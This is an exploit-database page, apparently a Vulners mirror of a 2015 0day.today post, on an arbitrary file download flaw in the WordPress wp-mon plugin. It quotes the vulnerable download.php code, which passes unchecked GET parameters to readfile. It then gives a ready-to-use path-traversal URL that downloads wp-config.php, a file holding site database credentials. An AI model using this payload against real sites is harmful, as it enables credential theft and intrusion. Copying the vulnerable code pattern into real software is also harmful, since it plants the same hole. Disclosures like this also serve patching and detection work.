Lucene search
K

WordPress WP-Mon Arbitrary File Download Vulnerability

🗓️ 19 Apr 2015 00:00:00Reported by Acc3ssType 
zdt
 zdt
🔗 0day.today👁 22 Views

WordPress wp-mon Plugin Arbitrary File Download Vulnerability by Ashiyane Digital Security Team. Allows unauthorized download of files via 'download.php'. Affects WordPress plugin version

Code
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
  |-------------------------------------------------------------------------|
  | [+] Exploit Title:Wordpress wp-mon Plugin Arbitrary File Download  
Vulnerability |
  | [+] Exploit Author: Ashiyane Digital Security Team |
  | [+] Vendor Homepage : https://wordpress.org/plugins/wp-mon/
  | [+] Download Link : https://downloads.wordpress.org/plugin/wp-mon.zip
  | [+] Tested on : Windows,Linux |
  | [+] Date : 2015-04-16
  | [+] Discovered By : ACC3SS
  |-------------------------------------------------------------------------|
  | [+] Exploit: |
  | [+] Vulnerable file :  
http://localhost/wordpress/wp-content/plugins/wp-mon/assets/download.php  
|
  | [+] Vulnerable Code :

<?php

  header( 'Content-Type: ' . $_GET['type'] );
  header( 'Content-Disposition: attachment; filename="' . $_GET['name']  
. '"' );
  readfile( $_GET['path'] . DIRECTORY_SEPARATOR . $_GET['name'] );

?>

  | [+]   
http://localhost/wordpress/wp-content/plugins/wp-mon/assets/download.php?type=octet/stream&path=[File Address]&name=[File  
Name]
  | [+]
  | [+] Examples :  
http://localhost/wordpress/wp-content/plugins/wp-mon/assets/download.php?type=octet/stream&path=../../../../&name=wp-config.php
  |-------------------------------------------------------------------------|
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|

#  0day.today [2018-04-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation